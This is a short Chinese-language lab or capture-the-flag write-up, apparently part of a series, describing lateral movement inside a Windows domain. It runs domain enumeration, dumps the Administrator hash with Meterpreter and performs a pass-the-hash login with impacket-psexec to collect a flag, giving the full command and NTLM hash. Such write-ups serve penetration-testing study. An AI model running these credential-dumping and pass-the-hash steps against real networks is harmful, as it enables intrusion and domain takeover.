前言 #
本文是在攻破Windows Server 2016 DC的基础上对Windows PC 8089进行攻击
信息收集 #
回到WinServer 2016 DC的Meterpreter上，进入shell，如果使用了代理导致进不去，请参考前面几篇文章
调整字符集，这样不会乱码
ipconfig /all
可以发现当前主机存在域
C:\Windows\system32>powershell
PS C:\Windows\system32> Get-ADComputer -Filter *
C:\Windows\system32> systeminfo
可以看到这四台主机都在域内，而且域控是当前meterpreter的DC主机
对8098主机进行简单扫描，开放端口：80，135，139，445，3306，7680
其中3306端口我验证过了，应该是没有漏洞可以利用的，其余端口也是。
因为存在135、445端口，可以尝试内网**PTH（pass-the-hash）**攻击
在DC的Meterpreter里进行hashdump，拿到Administrator的hash
域控的权限：域管理员（Domain Admins）组的成员可以在域内的任何计算机上登录
PTH攻击 #
这里使用kali自带的impacket-psexec就行
proxychains impacket-psexec AEROSPACE/Administrator@172.22.10.40 -hashes "aad3b435b51404eeaad3b435b51404ee:4e4b335d557d9c79bc419490672102b2"
可以看到成功进入到Shell，如果编码乱了就执行chcp 65001
并且由于具有最高权限，在Alice的目录下拿到flag03
Reply by Email